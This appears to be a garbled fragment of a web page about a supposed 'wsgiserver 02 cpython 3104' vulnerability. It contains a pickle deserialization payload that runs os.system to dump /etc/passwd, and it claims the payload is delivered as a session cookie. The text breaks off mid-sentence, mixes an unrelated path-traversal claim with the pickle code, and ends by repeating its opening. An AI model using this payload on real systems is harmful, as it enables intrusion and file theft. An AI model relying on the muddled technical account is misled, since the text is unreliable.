The vulnerability stems from insufficient validation of the URI path in the built-in development server. By using dot-dot-slash (
import pickle import os class Exploit(object): def __reduce__(self): # Executes a reverse shell or reads system files return (os.system, ('cat /etc/passwd > /tmp/compromised.txt',)) # The resulting string is sent as a session cookie to the WSGIServer print(pickle.dumps(Exploit())) Use code with caution. 🛡️ Remediation and Defensive Measures wsgiserver 02 cpython 3104 exploit
The "wsgiserver 02 cpython 3104 exploit" scenario highlights the critical importance of keeping both the web gateway interface and the underlying language runtime updated. When running infrastructure on unpatched mid-lifecycle versions of CPython like 3.10.4, unexpected inputs can easily transform standard language features into high-severity Denial of Service or injection vectors. By leveraging robust reverse proxies, enforcing strict payload limits, and prioritizing runtime upgrades, organizations can effectively insulate their Python applications from these architectural vulnerabilities. The vulnerability stems from insufficient validation of the